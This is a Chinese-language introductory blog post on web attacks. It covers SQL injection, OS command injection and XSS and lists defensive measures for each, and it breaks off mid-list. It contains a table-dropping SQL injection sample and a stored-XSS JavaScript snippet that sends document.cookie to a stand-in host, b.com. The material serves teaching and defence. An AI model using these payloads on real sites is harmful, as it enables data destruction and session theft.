浅谈攻击Web应用常见的技术手段

      浅谈攻击Web应用常见的技术手段无评论
浅谈攻击Web应用常见的技术手段
阅读: 6

随着服务端脚本技术、组件技术等技术手段的成熟,基于web平台构建的应用信息系统成为了internet信息系统的主流,而且逐渐成为电信、金融、财税等关键领域公共信息系统的首选。其http协议网络数据流量占到整个internet tcp数据流量的70%左右,重要性无容置疑。目前,internet上部署运行着各种各样的web信息系统,这些系统的安全在很大程度上关系到整个internet的正常运转。近年来,由于web应用攻击方法的不断曝光和web应用重要性不断提高,对web信息系统的攻击事件数量大增。绝大多数web攻击事件的根源在于web信息系统中存在有安全漏洞

一、主动攻击

主动攻击是指攻击者通过直接访问Web应用,把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行攻击的,因此攻击者需要能够访问到这些资源。主动攻击模式里具有代表性的攻击是SQL注入攻击和OS命令注入攻击。

a、SQL注入

定义:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串中,最终达到欺骗服务器执行恶意SQL命令的目的。

1
2
3
4
5
EG
select * from student
where username=admin;
drop table student and password=1 or 1=1
 

上述命令,where 语句永远成立,且在执行后会删除student表,这样执行后果很严重。

如何防止SQL注入:

  • 不信任用户的输入;
  • 不使用动态拼接sql,可使用参数化的sql或直接使用存储过程进行数据查询存取;
  • 不使用管理员权限的数据库连接;
  • 对机密信息进行加密或hash掉密码和敏感信息;
  • 应用异常尽可能少在web提示,最好使用自定义信息对应用的异常信息进行包装;
  • 采用工具或网络平台检测是否存在SQL注入。

b、OS命令注入

定义:与SQL类似,但注入对象针对操作系统,即能够在服务器上执行任意命令。从Web应用中通过Shell来调用操作系统命令,如果在Shell调用时存在漏洞,就可以执行攻击者的非法OS命令,也就是说,可以通过OS注入攻击执行OS上安装的各种程序。如,发送咨询邮件来注入攻击。

如何防止OS注入:

  • 不调用外部程序;
  • 过滤掉、;,[,],|,<,>,/之类的符号;
  • 设置用户的权限。

二、 被动攻击

被动攻击是指利用圈套策略执行攻击代码的攻击模式,在被动攻击的过程中,攻击者不直接对目标Web应用程序发起攻击,一般的攻击手法是设置陷阱让用户去触发,中招后的用户浏览器会把含有攻击代码的HTTP请求发送给作为攻击目标的Web应用,运行攻击代码。攻击者借助这个攻击代码为基础,可以窃取用户个人信息、篡改滥用用户信息等。该攻击模式连企业内网都同样会受到攻击。

被动攻击中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造、HTTP首部注入攻击。

a、XSS跨站脚本攻击

定义:XSS,Cross-Site Scripting,攻击者利用在网页中嵌入客户端脚本,当用户浏览此网页时,脚本就会在用户的浏览器中执行,从而达到攻击者的目的。例如,在URL中加入特定的script代码来获取登录者的个人登陆信息、对用户Cookies的窃取攻击(通过Js获取)。

EG:

(1) 反射型XSS

http://a.com/a.jsp?name=xss

通过诱惑用户打开恶意链接,服务器将链接中a.jsp页面渲染成下面的html:

1
2
Hello xss&lt;script&gt;alert(1)&lt;/script&gt;
 

这时浏览器将会弹出提示框

(2) 持久型XSS

http://a.com/a.jsp?name=xss

将恶意代码提交给服务器,并且存储在服务器端,用户打开链接后,会加载b.js,并执行b.js的代码,代码如下:

1
2
3
4
var img = document.createElement(“img”);
img.src = “http://b.com/log?” + escape(document.cookie);
document.body.appendChild(img);
 

执行完上述代码后会向b.com请求一张图片。但实际上是将当前页面的cookies发到b.com的服务器上,这样就完成了窃取cookies的过程。

如何防止XSS跨站脚本攻击:(原则是不相信用户输入的数据)

  • 将重要的cookies标记为http only,这样JavaScript中的document.cookie语句就不能获取到cookie了;
  • 只允许用户输入我们期望的数据,如年龄的textbox中只允许输入数字,其余过滤;
  • 对数据进行Html Encode处理,如<转化为&lt;、&转化为&amp;
  • 过滤或移除特殊的Html标签,如

    浅谈攻击Web应用常见的技术手段

发表评论